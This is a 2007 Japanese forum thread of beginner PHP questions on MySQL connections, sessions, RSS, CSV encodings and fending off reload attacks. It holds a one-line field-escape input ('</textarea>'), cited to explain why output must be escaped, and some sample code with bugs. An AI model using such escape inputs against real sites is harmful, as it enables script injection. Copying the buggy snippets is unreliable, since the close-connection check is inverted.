これはできるようなのですが、(試してはいません)

$val = 'hoge';
$this->Method$val();

これはできないのでしょうか?
ブラケットをいれてもパースエラーになります


135 :nobodyさん:2007/05/29(火) 16:03:59 ID:???
>>119
理解してないのに答えるなよ


カスが。

136 :nobodyさん:2007/05/29(火) 16:32:41 ID:dXtsAnsD
質問です
今、ユーザー登録のフォームを作っていますが、
入力された情報をテキストに保存するかデータベース(mysql)に保存するか迷っています
レコードの取得や削除を考えれば圧倒的にデータベースが有利ですが、
テキストのメリットは何があるのでしょうか?

フォームに自由記入欄があったあっとして、そこで全角200文字くらい打ったりする人がいる場合、
それはテキストに保存した方がよかったりしますか?

137 :虚弱PHP:2007/05/29(火) 16:39:41 ID:???
>>134
$val = 'Method'.'hoge';
$this->$val();
ってこと?

138 :nobodyさん:2007/05/29(火) 16:48:51 ID:???
>>134
$val = ''hoge';
$this->{'Method' . $val}();

139 :nobodyさん:2007/05/29(火) 16:49:10 ID:???
>>132
煽りではない。分かってない奴に対する単なる指摘。
お前みたいのが頭の悪い煽り。
能力ないならもっと謙虚になれ。

>>136
データベース使うべし

140 :nobodyさん:2007/05/29(火) 17:17:44 ID:???
>>134
その説明ではどういうことをしたいのかわからないが、
>>117でやりたいことはマニュアルに書いてる通りでできるはず。

>>136
テキストのメリットなんてDBが使えない鯖でも動くとか、
セキュリティにDBほど考慮する必要がないってことぐらい。
DBがどういう目的で作られたかを考えれば、
DBがテキストよりもあらゆる面で優秀なのはわかる。
何より楽だからね。あえて難しい道を進みたいならテキストで。

>>138
$val = '';の間違いかな。
その場合$valがメソッド名だからいらない気もするけど。

>>139
どうみても煽りだろ。煽りじゃなくて指摘とか言い分が馬鹿すぎる。
ていうか何だその回答は。簡単な質問にどうでもいい答えしやがって。
偉そうなこといっといてヒドイなこれはwwwwww

141 :nobodyさん:2007/05/29(火) 17:22:57 ID:dXtsAnsD
>>139-140
ありがとうございます
みなさん親切で助かりました



142 :138:2007/05/29(火) 17:25:06 ID:???
>>140
違うよ、>>134が意図してる動作は$valの文字列と
'Method'とを連結させた名前のメソッドをコールしたいってことだろう

143 :nobodyさん:2007/05/29(火) 17:25:53 ID:???
>>140
荒らすな。煽るな。下らない書き込みは慎め。お前が一番ウザい。

144 :nobodyさん:2007/05/29(火) 17:32:20 ID:???
>>142
なるほど。漏れは型指定でもしたいのかと思ったわ。
連結演算子がわからないような質問者とは思えないんだけどね。

>>143
お前はただの煽り馬鹿だと思っていたが、
ヘボ回答者でもあったから煽りたくもなるわwwww

145 :nobodyさん:2007/05/29(火) 17:35:55 ID:???
にほんごの ほうそくが みだれている

146 :69:2007/05/29(火) 17:43:05 ID:???
皆さんレスありがとうございます。
全レスしたい位ですが、要所レスにて割愛させて頂きます。
>>86
サンプルまで書き起こして下さいまして大変分かりやすいです。
ただ、当方所謂php4までの書き方しか身についておらずオブジェクト指向なのは取り扱った事がなかったりしています。
良い機会なのでclassでの書き方に挑戦してみようと思います。

HTMLタグに関しましてはXHTMLが小文字を推奨していることは把握していましたが、癖でつい大文字表記してしまいました。
今後どっちに転ぶのか分かりませんがとりあえず小文字の癖をつけようと思います(後はスラッシュも)

結局のところ当方がやろうとしていることはclassで指定するか、或いはfor内にぶち込むしか無いという事でしょうか。
>>83で書いたのは噛み砕いた感じでして実際は10-15行程度ですのでメンテのし易さを考慮してロジックとデザインを分けて処理しようと考えておりました。
ちなみにSmartyを使わない理由はphpバージョン云々より処理速度が低下するのを懸念して避けました。

宜しくお願いします。

147 :nobodyさん:2007/05/29(火) 17:49:51 ID:TCS52xeP
RSS2.0と1.0に対応したsimplexmlのサンプルってありませんか?
素直にPEAR使ったほうがいいのかな?

148 :nobodyさん:2007/05/29(火) 17:54:39 ID:???
>>147
simplexmlでRSS出力したいってこと?
まぁsimplexmlはやめたほうがいいよ。
出力されたソースみたら萎えるよきっと。

149 :nobodyさん:2007/05/29(火) 17:58:30 ID:TCS52xeP
>>148
うんたしかに・・・
そしてRSSの種類の多さに泣きそうになった。

PEARのXML_RSSを使うのが一番無難ですか?

150 :nobodyさん:2007/05/29(火) 18:03:45 ID:???
XML_RSSは出力なかったきがす

151 :通りすがり:2007/05/29(火) 18:07:19 ID:???
>>146

function tmpB($m_html,$row){
list($k,$d,$t) = explode( 省略…
$ret = preg_replace("/__TXT__/",$t,$m_html);
省略
return $ret;
}

$m_html = テンプレの値;

省略
for($i=0 …以下略){
$OUT_HTML .= tmpB($m_html,$data[$i]);
}

ってやれば、ファンクションだけでもできるっしょ
テンプレートに変数直書きするのではなく、置換用文字列を与えておけば、
いいってだけだから。



152 :nobodyさん:2007/05/29(火) 18:07:41 ID:???
RSSなんてMSとNNのブラウザ戦争みたいできらいよっ!
Atomにしなさいよっ!

153 :nobodyさん:2007/05/29(火) 18:12:12 ID:???
根本的に用途が違うものじゃねーか

154 :nobodyさん:2007/05/29(火) 18:21:46 ID:???
>>153
え?

155 :nobodyさん:2007/05/29(火) 18:36:48 ID:TCS52xeP
RSS2.0と1.0とAtomが読めてキャッシュできるPHP・・・
難儀だなこりゃw

156 :69:2007/05/29(火) 18:54:35 ID:???
>>151
なるほど!レスありがとうございます。
そんな方法があるとは思慮が及びませんでした。
とりあえずはそちらの方法で実装して、追々class指向の書き方のスキルが備わったら改めて前述の方を試してみます。
アドバイスありがとうございました。

157 :nobodyさん:2007/05/29(火) 19:08:00 ID:GuBB/5Uv
すみません、初歩的な質問なのですが・・・
a.php、b.phpがあったとして
b.phpには
function fopen( )
{
 return mysql_connect();
}
function fclose( $link )
{
 mysql_close( link )
}
と、あるとして、a.phpで
if( ボタン1が押されたら ){
 $fh = fopen( );
}
else if( ボタン2が押されたら ){
 fclose( $fh );
}
と、すると、当然ならが$fhの値はなくなってmysql_closeは失敗するのですが
$fhの値を保持しておくにはどうしたらいいのでしょうか?
それともPHPではこういう書き方自体しないのでしょうか?

一連の流れは同じ関数内でするのが普通なのですか?
例えば、
mysql_connect();
なんかテーブル処理
mysql_close( )
と、必ずMySQLのテーブル操作をするたびにconnectとcloseを毎回呼び出すみたいな・・・

158 :nobodyさん:2007/05/29(火) 19:16:22 ID:???
>>157
mysql_pconnectで持続接続を確立して閉じない。

あとその気持ちの悪い関数定義は何なんだ。

159 :nobodyさん:2007/05/29(火) 19:16:36 ID:???
>>157
状況がよく分からんな

そら、mysql_connect() がスクリプト内で
一度も呼ばれずにmysq_close() が呼ばれれば
当然失敗するだろう


160 :nobodyさん:2007/05/29(火) 19:22:40 ID:GuBB/5Uv
>>158
あ、そんなのがあるんですか、これ閉じたい場合はどうしたら閉じれるんですか?

>>159
いやいや、言いたいのはそこじゃなくて、戻り値として受け取っても
mysq_closeに渡す時には値が消滅するからどうしたらいいでしょう?ってとこなので


161 :nobodyさん:2007/05/29(火) 19:24:25 ID:???
>>160
閉じる必要が無い

そもそも一体何がしたいのか理解不能。
何で別プロセスで開いた接続を閉じる必要がある?

162 :nobodyさん:2007/05/29(火) 19:26:49 ID:???
>>157
言葉に対する回答。

>$fhの値を保持しておくにはどうしたらいいのでしょうか?
静的(static)にする。

>必ずMySQLのテーブル操作をするたびにconnectとcloseを毎回呼び出すみたいな・・・
NO
connectは最初にやって、全ての操作がおわってから閉じればいい。
その間接続は持続されている。

MySQL開けたり閉じたりするのは自分的にはこうする。

class Hoge {
  private $link;
  function mySqlOpen($server, $username, $password) {
    $this->link = mysql_connect($server, $username, $password);
    if (!$this->link) {
      //例外処理
    }
  }

  function mySqlClose() {
    if (!$this->link) {
      mysql_close($this->link);
    }
  }
}


163 :nobodyさん:2007/05/29(火) 19:33:11 ID:GuBB/5Uv
>>161
PHPに馴れている人には理解不能かと・・・
PCソフトばかりやってるとこのPHP等の処理の流れに戸惑ってしまって・・
ボタン押したらまた自分(他)を最初から呼び出してとかこれ慣れが必要だなあと、
んで、何がしたいかといいますと
例えばボタン1を押すとDB接続、ボタン2を押すと閉じる、
そして、ボタン3を押すとAテーブルの内容を表示、ボタン4を押すとBテーブルの中身を表示・・・と
そもそもこういうやり方自体が普通しないのかなと・・・
ボタン1を押したら接続→テーブルA表示→閉じる
ボタン2を押したら接続→テーブルB表示→閉じる
こういうほうが一般的ですか?

164 :nobodyさん:2007/05/29(火) 19:36:09 ID:???
>>163
ええ、一般的です。

165 :nobodyさん:2007/05/29(火) 19:36:23 ID:GuBB/5Uv
>>162
うは、それですそれです!!
そういう記述が全くの無知でして、上でアホみたいな書き方をしました・・
あーこれめちゃくちゃ参考になります。
ありがとうございます。
その前にクラスの勉強しないと・・・

166 :nobodyさん:2007/05/29(火) 19:39:19 ID:GuBB/5Uv
>>164
えええええ!
>>162さんはNoと・・・
でも毎回するのは一番簡単だけど、コードが増えますよね
更に接続→表示→閉じるを鬼のように繰り返してもいいのか疑問ものこります

167 :nobodyさん:2007/05/29(火) 19:42:55 ID:???
PEAR使ってて良かったことってありますか?

168 :167:2007/05/29(火) 19:45:00 ID:???
誤爆しました 失礼

169 :nobodyさん:2007/05/29(火) 19:50:06 ID:???
>>166
どういうことしたいのかちょっと理解できないなぁ。
>>163はボタン1を押したら接続→テーブルA表示→閉じるで処理が完結してるでしょ。
それともまだその後に他の処理をしたいのなら、
結果セットだけを開放して(mysql_free_result )、新たな処理をするっていう感じになる。

170 :nobodyさん:2007/05/29(火) 19:55:53 ID:GuBB/5Uv
>>169
いやいや、最初にやろうとおもったのは、
ボタン1を押すとDB接続
ボタン2を押すと閉じる、
ボタン3を押すとAテーブルの内容を表示
ボタン4を押すとBテーブルの中身を表示
これはようするに、1押して接続してから、3押したり4押したり5,6押したり(書いてないけど)
んで、散々テーブルをみたあとに最後に2を押して閉じるとしたかったのですが
こうすると、コネクトしたときの戻り値をcloseに渡す方法がわからなくて・・・

んで、
接続→テーブルA表示→閉じる
と、常に毎回やるのが一般的なのですか?とお尋ねしました

171 :nobodyさん:2007/05/29(火) 20:01:07 ID:GuBB/5Uv
ほんと馬鹿ですんません・・・
PCソフトの場合はDOSならmain内から終わるまで抜けないので
ローカルでも値を保持してるし、Windowsの場合はグローバルを使うので
ソフトが終了するまで保持していられるんですが、
PHPとかWEB系の場合はちょっと勝手が違う感じで初歩的なとこで悩んでしまって・・
ごめんなさい、勉強不足です、はい。

172 :nobodyさん:2007/05/29(火) 20:01:29 ID:???
>>170
それなら
open
if ($_POST['button1']) {
  Queryおくって結果取得
  結果表示
}
なんていう条件が続いて
close

173 :nobodyさん:2007/05/29(火) 20:05:25 ID:???
>>163
Windowsアプリケーションでも意味不明。
一回何らかのボタンを押し、別のボタンを押すという処理でも、プログラムが再起動されるわけではないだろう?

本質的にプログラムの処理手順を勘違いしてないか。

174 :nobodyさん:2007/05/29(火) 20:13:57 ID:GuBB/5Uv
>>172
それすると、なにかボタンが押される度にまたopenから走ったりしないんですか?
うーん、僕たぶんかなりとんちんかんな質問をしてた希ガス
>>173
僕はボタンを押したら
<form action=$ScriptName method=POST>
こんなんで、また自分を呼び出すとおもっていて、メインが何度も呼ばれるみたいなイメージがあって・・・
ちなみに、>>173さんはWindowsソフトもPHPも全く同じ理屈でコード組んでますか?

175 :nobodyさん:2007/05/29(火) 20:17:40 ID:GuBB/5Uv
だめだ・・・
根本が間違ってる・・・
PHPではなんとなくしょぼい掲示板つくったりしただけで
動きをまったく理解してないみたいだなあ、勉強してきます・・・

176 :nobodyさん:2007/05/29(火) 20:23:26 ID:???
っていうか、皆さんめちゃくちゃ親切ですね。
そんなわけで勉強してきます。
またわからないことがあったら教えてください。。。
ありがとうございました

177 :nobodyさん:2007/05/29(火) 20:41:06 ID:queQBOHY
PHP学ぶように会社から言われました。
プログラムを打ち込んで、その結果を表示させたいのですが
Webサーバーを使用せずにPHPって使用できますか?

178 :nobodyさん:2007/05/29(火) 20:45:22 ID:???
>>175
エラー処理も適当で手続き型で関数化もしてない、
手抜きスクリプト置いとくからこれで動作勉強しちくり。

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
A<input type="radio" name="a">
B<input type="radio" name="b">
<input type="submit" value="submit">
</form>
<pre>
<?php
$link = mysql_connect('localhost', 'username', 'password');
$dbselect = mysql_select_db('dbname');
if (!$link || !$dbselect) {
  dir(mysql_error());
}

続く

179 :nobodyさん:2007/05/29(火) 20:46:10 ID:???
続き
if ($_POST['a']) {
  $res = mysql_query('SELECT * FROM TABLE_A');
  if (!$res) {
    die(mysql_error());
  }
  while ($row = mysql_fetch_assoc($res)) {
    print_r($row);
  }
  mysql_free_result($res);
}
if ($_POST['b']) {
  $res = mysql_query('SELECT * FROM TABLE_B');
  if (!$res) {
    dir(mysql_error());
  }
  while ($row = mysql_fetch_assoc($res)) {
    print_r($row);
  }
  mysql_free_result($res);
}
mysql_close($link);
?>
</pre>

あとは$linkと$dbselectの情報を設定して、
DB側に適当なTABLE_AとTABLE_B作ってください。

180 :178:2007/05/29(火) 20:49:26 ID:???
続き
if ($_POST['a']) {
  $res = mysql_query('SELECT * FROM TABLE_A');
  if (!$res) {
    die(mysql_error());
  }
  while ($row = mysql_fetch_assoc($res)) {
    print_r($row);
  }
  mysql_free_result($res);
}
if ($_POST['b']) {
  $res = mysql_query('SELECT * FROM TABLE_B');
  if (!$res) {
    dir(mysql_error());
  }
  while ($row = mysql_fetch_assoc($res)) {
    print_r($row);
  }
  mysql_free_result($res);
}
mysql_close($link);
?>
</pre>

あとは$linkと$dbselectの情報を設定して、
DB側に適当なTABLE_AとTABLE_B作ってください。

181 :178:2007/05/29(火) 20:50:30 ID:???
ああああああああああああああorz
Firefox使ってたせいで間違ってもう1回送信してしもた・・・
専ブラにしよう・・・
スレ汚しsorry

訂正
if (!$link || !$dbselect) {
dir(mysql_error());
}

dirじゃなくてdieね・・・

182 :nobodyさん:2007/05/29(火) 20:54:25 ID:???
>>177
ローカルに環境を構築してください。
最低でもPHPはインストール。
ちゃんとした動作を検証したいのならApacheも入れてください。
DBを使って開発するのであればDBも入れてください。
XAMPPでぐぐると幸せになれるかも。

183 :nobodyさん:2007/05/29(火) 20:55:41 ID:queQBOHY
>>182
ありがとう!

今までC言語とC#しかしたことがないので
これから大変お世話になりますのでよろしくお願いします。


184 :nobodyさん:2007/05/29(火) 21:50:25 ID:HenTyugE
最近連日のようにリロード攻撃を受けて、
DBサーバーがダウン(コネクションオーバー)するのですが、
php側で防ぐ方法で、有効な方法を教えて頂けますか?
ちなみに、レンタルサーバーです。かなり困っています。

185 :nobodyさん:2007/05/29(火) 21:52:56 ID:???
>>184
アプリケーションレベルでは下手に対応しない方が寧ろいい。
DoSアタックの対応はもっと下位のレイヤでやるべき。

186 :nobodyさん:2007/05/29(火) 21:56:19 ID:???
DBでどういう処理してるかによるけど、
html化しても問題のないようなものなら、
html化すればいいと思うけど。

187 :nobodyさん:2007/05/29(火) 21:59:36 ID:KHJlG38T
$somarray = array(
"abc"=>array("123"=>"456"),
"cde"=>"789",
"fgh"=>("hij"=>array("xyz"=>"10",array("foo"=>"bar"))
);

のような任意の連想配列で、fooを検索キーにして、
foo->hij->fghの並びを取得できる関数で適切なものはありますでしょうか?。
foreachを使うにしてもそれを補助的に支える関数を探しているのですが。

188 :nobodyさん:2007/05/29(火) 22:01:22 ID:HenTyugE
>>185-186
早速の回答ありがとうございます。

>>185
レンタルサーバー(xrea)のため、なかなかそこが対応できないんです。
できれば、アプリケーションレベルで対応できればと思うのですが。
専用サーバーならいいのかもしれないのですが、運用経験がないので逆に危険かと思いまして。

>>186
動的に生成しないとホームページとして成り立たないものなので、
それも難しいのが現状です。すみません。

189 :nobodyさん:2007/05/29(火) 22:04:16 ID:???
>>188
どうせ串経由なんでしょ?だったらBBQとかではじけばいいんじゃないの?

190 :nobodyさん:2007/05/29(火) 22:11:57 ID:HenTyugE
>>189
いやぁ、それが串でもないんです。
串は、リストを作って独自プログラムで弾いているのですが、
普通のプロバイダーのIPからやられます。
日によって違うプロバイダーなので、違う人からなのかも。

政治とか教育とか意見が対立する掲示板を運営しているので、
論破された奴が荒らしているのかと。
リロード攻撃されると、暫く接続エラーになってサービスがとまって、
そのたびにサービスがとまっていると苦情のメールが。ほとほと疲れます。

191 :nobodyさん:2007/05/29(火) 22:17:25 ID:???
ふむ。
じゃあsessionつかって、同一IPからある一定時間内($range_time)に複数回($reload_count)以上の
reloadがあった場合は、<なんかする>、みたいな感じでいいんじゃないの?
DBアクセスがボトルネックなんだったら、<なんかする>=キャッシュだけを送信する、とか。
結局、実装は、運営policyによるでしょ。

192 :nobodyさん:2007/05/29(火) 22:29:53 ID:???
>>190
サーバまわりを強化しJava+Oracleで書き直す。

というのは冗談だけど、
そのコンテンツじゃPV多そうだし共有鯖だとかなり負担かけてるんじゃない?
ユーザより先にレンタル先に捨てられないように気をつけておくんなまし。

193 :nobodyさん:2007/05/29(火) 22:57:20 ID:???
>>188
アプリケーションレベルでの対応は逆効果なんだよ。
XREAに通報したら何らかの対応はしてくれるんじゃないか?無料なら知らんが。

194 :nobodyさん:2007/05/29(火) 23:36:58 ID:???
XREAスレ見てるのかな
最近200番台後半の鯖で中国からのアタックがあったよ
上位回線レベルで対策したそうだ

195 :miu:2007/05/30(水) 00:51:31 ID:EHTzgQl2
iframeの中を(srcを)httpsのページにしています。
この中でセッション変数を使いたいのですが、
うまく値を引継げません。
session_id()を確認すると、ページごとに異なる値が
返ってきています。

なにか、セッション変数を使うための方法・設定というのはあるのでしょうか?

よろしくお願い致します。


196 :nobodyさん:2007/05/30(水) 01:34:43 ID:???
TEMPORARYテーブルとか業務で使ったりする人います?


197 :nobodyさん:2007/05/30(水) 03:26:34 ID:???
DDoSて古典的な方法の癖に未だにPGを悩ませがちだよね。
さくらの専用鯖みたいな安い専用借りてiptableで弾くとかはどうだろ。
XREAは過負荷になってもちょっと生暖かい目で見ててくれるけど他のユーザはその間しわ寄せ受けてる希ガス。

198 :nobodyさん:2007/05/30(水) 03:55:42 ID:U6fy+t+P
質問です
同じ結果なら、
実行速度が遅い・重いプログラムより、速い・軽いやつがいいとは聞きますし、私もそう思いますが、
実行速度を数値化したりするなどして確認する手段はありますか?


199 :nobodyさん:2007/05/30(水) 04:27:45 ID:???
>>184
テキトーだけど、こんな感じで軽減できない? 行詰めているので見にくいがすまん
<?php
function sessCtrl(){
session_start();
$lastvtime = $_SESSION["lastvtime"];
if($lastvtime){
$timediff = time() - $lastvtime;
if($timediff <3){
//ここでさよなら
die("<html><head></head><body>3秒以内リロード禁止<hr/><pre> 前回アクセス:"
.date("Y-m-d H:i:s",$lastvtime)."/只今"
.date("Y-m-d H:i:s",time())."</pre><hr/></body></html>");
//もしくは強制10秒待たせる
//sleep(10);
}
}
$_SESSION["lastvtime"]=time();
return $lastvtime;
}
$lastvtime = sessCtrl();
?>
<html><head></head><body> ここはOK也 <hr/>
<?php echo " 前回アクセス:".date("Y-m-d H:i:s",$lastvtime)
."/只今".date("Y-m-d H:i:s",time())."<br/>";
var_dump($_SESSION); ?>
<hr/></body></html>


200 :nobodyさん:2007/05/30(水) 07:03:10 ID:???
>>198
前スレらへんで誰かが開始時刻と終了時刻を取れば良いって言ってたよ

201 :nobodyさん:2007/05/30(水) 09:09:58 ID:Hm83KMHn
質問をふたつほどよろしいでしょうか。

アクセスしてくる者全員が共有できるような変数って作れますか?
Aさんが1を代入したらBさんにも1になるような。
テキストファイルを使わないとだめなのかな。

それから、サーバ上のファイルを自由に編集する画面があるのですが
ひとりがそのページを開いている間は
次に来た人には、ただいま混みいっています、のような画面を表示させたいのですけど
スマートなやりかたってないですか?


202 :nobodyさん:2007/05/30(水) 09:38:06 ID:???
ふたつともセッション使え

203 :nobodyさん:2007/05/30(水) 09:41:15 ID:???
アクセスカウンターCGI探して中身見てみれば>201

204 :nobodyさん:2007/05/30(水) 10:08:21 ID:???
>>201
まるでwikiみたいだな。
ただあのソースを読めというのはちょっと酷か・・・

205 :201:2007/05/30(水) 10:11:34 ID:Hm83KMHn
>>202
セッション変数って、ひとりの人間が複数のページで共通に使える変数じゃないのですか?
>>203
うーむ、なんとかPHPだけでできないかなぁ。

すみません初心者で・・・

206 :nobodyさん:2007/05/30(水) 10:15:34 ID:vB5BZnM8
ヘルプミーです。
フォーム送信で、textareaに入力したテキストで、クオート(')・ダブルクオート(")が
自動的にエスケープ(\)されるんだけど、これってphp.iniの設定が関係ありますか?
(POSTの値が自動的にエスケープされるなんてことはあるの?)


207 :nobodyさん:2007/05/30(水) 10:26:29 ID:???
>>206
>php.iniの設定が関係ありますか?
YES
http://jp.php.net/manual/ja/ref.info.php#ini.magic-quotes-gpc

208 :nobodyさん:2007/05/30(水) 10:39:50 ID:vB5BZnM8
>>207
早速のレスポンスTHX!! あいしてるぜー

209 :nobodyさん:2007/05/30(水) 11:59:49 ID:???
>>205
>セッション変数って、ひとりの人間が複数のページで共通に使える変数じゃないのですか?
ちがう。マニュアルよめ。

210 :nobodyさん:2007/05/30(水) 12:09:56 ID:???
>>201
共有メモリ関数
http://jp.php.net/manual/ja/ref.shmop.php
セマフォ・共有メモリおよび IPC 関数
http://jp.php.net/manual/ja/ref.sem.php

211 :nobodyさん:2007/05/30(水) 13:56:24 ID:QPYqKYGN
textarea内にユーザからの入力を表示する場合、タグは無効になりますよね。
それでもhtmlspecialcharsは必要ですか?javascriptなんて実行されないっすよね危険はないですよね。

212 :nobodyさん:2007/05/30(水) 13:58:06 ID:???
ある

213 :nobodyさん:2007/05/30(水) 13:59:49 ID:???
>>211
</textarea>って入力されてたらどーすんのよ

214 :nobodyさん:2007/05/30(水) 14:05:44 ID:UUvKwXeJ
すみません、昨日の基地外です

>>178-181
ありがとうございます。
これは毎回 接続→テーブル表示→閉じる 方式ですね。
やっぱりこの方法が妥当なんでしょうか?

215 :nobodyさん:2007/05/30(水) 14:11:12 ID:???
>>213
それです!ありがとうございました

216 :nobodyさん:2007/05/30(水) 14:18:20 ID:???
>>214
用途によるとしか言えない。
ただテーブルを表示するだけならその方法でいいんじゃない?

217 :nobodyさん:2007/05/30(水) 14:39:32 ID:UUvKwXeJ
>>216
確かにそうですね。
やろうとしてることはそれだけなので、この方法でいきます。
ありがとうございました

218 :nobodyさん:2007/05/30(水) 14:43:51 ID:QPYqKYGN
ある文字列を2進数にして、また文字列に戻すというのはできますでしょうか?

219 :nobodyさん:2007/05/30(水) 14:47:47 ID:???
できまsんよ

220 :nobodyさん:2007/05/30(水) 14:52:37 ID:???
>>218
文字列を2進数に、を具体的に説明してくれ
文字列"hoge"は何に変えればいいんだ

221 :虚弱PHP:2007/05/30(水) 14:53:32 ID:???
>>214
ひとまずPHPというよりHTTPの勉強はしておいた方がいいと思う。
1リクエスト1レスポンスが基本。
もちろん応用はあるけど、基本からどうぞ。

222 :nobodyさん:2007/05/30(水) 14:57:23 ID:QPYqKYGN
文字列を0111010101みたいに変換したいのですが、それは関数を使って実現しました。
ただ、2進数を文字列に変換するというのが何の関数を使えばいいのかわからないです。
やっぱり>>219さんの言うとおりできないんですか?

223 :nobodyさん:2007/05/30(水) 15:16:08 ID:l02pgwI/
1行テキストエリアと送信ボタンとリセットボタンがあります。
テキストエリアの値を消せるように、リセットボタンを押すとクリア
できるようにしたいです。

1回目はリセットできるのですが、送信ボタンを押して自分(test.php)に飛んだ後に、
リセットを押すと、値が消えてくれません。
(テキストボックスに値を入れて飛んだときに保持しているため?)

それで、javascriptで消そうと思ったのですが、phpの中での使い方が良く分かりません。
分かる方お願いします。
↓ソ〜ス
<form method=\"post\" action=\"test.php\" name=\"form\">
<input type=\"text\" name=\"url\" size=\"80\" value='$url'>
<input type=\"submit\" name=\"b1\" value=\"取得\">
<input type=\"reset\" name=\"reset\" value=\"リセット\">
</p></form>

224 :nobodyさん:2007/05/30(水) 15:24:19 ID:???
日本語でおk。ついでにソースそれなに?

225 :nobodyさん:2007/05/30(水) 15:27:00 ID:???
phpとまったく関係ない件について

226 :nobodyさん:2007/05/30(水) 15:32:51 ID:???
unset

227 :nobodyさん:2007/05/30(水) 15:36:00 ID:6H++tvOC
みなさん、PEARやフレームワークの使い方ってどうやって勉強しました?
俺はこうした、普通はこうするぞ、という意見をお教えください

自分の作りたいソースは何とか書けるけど、PEARのようなものはまったく使ったことがないレベルです。

228 :nobodyさん:2007/05/30(水) 15:39:16 ID:???
2ちゃんで罵倒されながら勉強してきました

229 :nobodyさん:2007/05/30(水) 15:46:35 ID:???
ちんたらしてないでさっさと答えろクズドモ

230 :nobodyさん:2007/05/30(水) 15:50:21 ID:s13+ZS2Y
>>228
うーん、なるべくなら人の迷惑にならない方法が好ましいですよねw
もう十分におかけしてしまった気がしますが・・・

231 :nobodyさん:2007/05/30(水) 16:10:54 ID:???
どうやって勉強しましたって・・・
中学生でもできるようなスクリプト言語だぞ・・・

ぶっちゃけ
PHP勉強しても意味ねーぞ
ちょっとマニュアル読んだら簡単に何でも作れるようになるし
JAVA勉強したほうが100倍いい


232 :nobodyさん:2007/05/30(水) 16:13:03 ID:???
C#やれC#

233 :nobodyさん:2007/05/30(水) 16:13:20 ID:???
Rubyがいいと思います

234 :nobodyさん:2007/05/30(水) 16:16:31 ID:???
信者わいてきたなw

235 :nobodyさん:2007/05/30(水) 16:18:15 ID:s13+ZS2Y
>>231
そう言われると厳しいですが・・・何とかPHPでお願いします

>>232-233
PHPでおねが(ry

236 :nobodyさん:2007/05/30(水) 16:22:38 ID:???
じゃあ何をやりたいかを先に言ったほうがいいな。
その関連のPEARライブラリを愛でる様にソース見ながら使っていくというのが
地道でいいんじゃないの?

237 :nobodyさん:2007/05/30(水) 16:23:19 ID:???
誰かに背中を押してもらう事で安心し、責任を放棄するタイプだよ彼は

238 :nobodyさん:2007/05/30(水) 16:25:30 ID:s13+ZS2Y
>>236
うーん、やっぱりそれしかないんでしょうか
それが王道なのはわかってます 近道はないのかなぁ

>じゃあ何をやりたいかを先に言ったほうがいいな。

何が出来るかもわかっていない状態なので、やっぱりちゃんとソース読んでみますね


>>237
言い過ぎっすよwww

239 :nobodyさん:2007/05/30(水) 16:28:10 ID:???
>ちょっとマニュアル読んだら簡単に何でも作れるようになるし
これは悪いことなのか

240 :190:2007/05/30(水) 16:37:07 ID:m2uLNJ+I
>>192>>193>>194>>197>>199
返事が遅くなってすみません。
教えて頂いたセッションで弾く方法でやったところ、
うまくいきました。
確かに、この方法だとデータベースの接続前で弾くので非常に有効ですね。
又、今まではログをみてアクセス拒否していたのですが、
リアルタイムで悪さしているIPを拒否できるので非常に助かります。

>>199さんのソースを参考に、悪さをしているIPには、ネットで仕入れたグロ画像を
デカデカと表示させて、怖くて二度と来させないように心理的作戦も実装しました。

今まで、毎日毎日アクセスログとにらめっこする手間が無くなって助かりました。
xreaに有料で利用しているのですが、サポートがイマイチなのでそこまで対応してくれないので、
いずれは、専用サーバーで運用できるようにがんばります。

色々とアドバイスどうもありがとうございました。

241 :237:2007/05/30(水) 16:50:14 ID:???
ごめんwwwいいすぎました

242 :nobodyさん:2007/05/30(水) 16:55:55 ID:???
>>222
つまり、その文字列の二進バイナリ文字列表現を元の文字列型に変換したいってことかね。
バイトのバイナリ表現つってもいろいろあるぜ。
もともとのパック方法が分からんことにはエスパー降臨まで待つしかない。


243 :nobodyさん:2007/05/30(水) 17:31:40 ID:???
>>240
>ネットで仕入れたグロ画像をデカデカと表示させて、
xreaにみつかったら怒られますよ^^;;

244 :nobodyさん:2007/05/30(水) 18:13:39 ID:???
いつのまにかこっちがくだ質のメインなのな

245 :nobodyさん:2007/05/30(水) 18:37:59 ID:???
>>238
まぁ、エロだな。
ただ、組み方間違えると、相手に非常に迷惑掛けるので諸刃の剣だが。

246 :nobodyさん:2007/05/30(水) 18:45:17 ID:???
>>238
それが一番の近道です.なのでがんばれ

247 :nobodyさん:2007/05/30(水) 19:28:10 ID:???
>>205
マニュアル嫁といいたいとこだが、
初心者にマニュアルは厳しいと分かっているので特別にヒントをやろう。
二つ目の問いに関していえば、
アクセスした時にセッションになんらかの固有の値を入れる。
アクセスが終わったら、消す。
セッションにその固有の値がなかった場合はアクセスさせる。


248 :nobodyさん:2007/05/30(水) 20:28:08 ID:???
fopenでcsvファイルを開いて、fgetcsvで読み込んで、print_rで表示させる、
ということをやっているのですが、各フィールドの先頭の文字がおかしくなります。
「学校」→「w校」みたいな感じで。どうなっているんでしょう。
ちなみにスクリプトはutf-8で書いており、csvファイルはShiftJISのはずです。
おわかりの方、教えてください。お願いします。

249 :nobodyさん:2007/05/30(水) 20:44:02 ID:???
> ちなみにスクリプトはutf-8で書いており、csvファイルはShiftJISのはずです。

釣りか?

250 :nobodyさん:2007/05/30(水) 20:45:00 ID:???
>>249
いえ、そのつもりはないんですが。なにかとんでもない勘違いを
していますでしょうか。

251 :250:2007/05/30(水) 20:51:58 ID:???
21時までにおねがいします。次にすすまないので

252 :250:2007/05/30(水) 20:53:48 ID:???
>>251は私の発言ではありません。全然急ぎません。

253 :nobodyさん:2007/05/30(水) 20:59:23 ID:???
>>248
fgetcsvは文字コードの変換処理をしない
かつSJISに対応してないよん。

254 :nobodyさん:2007/05/30(水) 21:02:02 ID:???
>>253
そうなんですか!調べて修正してみますね。ありがとうございます。

255 :250:2007/05/30(水) 21:05:54 ID:???
すみません、急ぎはしないのですが、できれば今日中に片付くと嬉しかったりはします。

256 :250:2007/05/30(水) 21:20:56 ID:???
さっきから変な人がいますが、>>255も私ではありません。
また分からなかったら聞きに来ますのでお願いします。

257 :nobodyさん:2007/05/30(水) 21:26:44 ID:???
夜は偽者だるいから消えていいよ。
やるなら昼間やってくれ。
あと質問者もID出せ。こういう馬鹿が沸くから。

258 :nobodyさん:2007/05/30(水) 21:44:26 ID:???
>>241
いえいえ、結果的にはそんな感じになったので、あなたのおっしゃるとおりでしたよwww

>>246
さっそくソース読んでました
まさかそんな嬉しい言葉を言ってもらえるなんて思ってもいなかったので、感激です!!


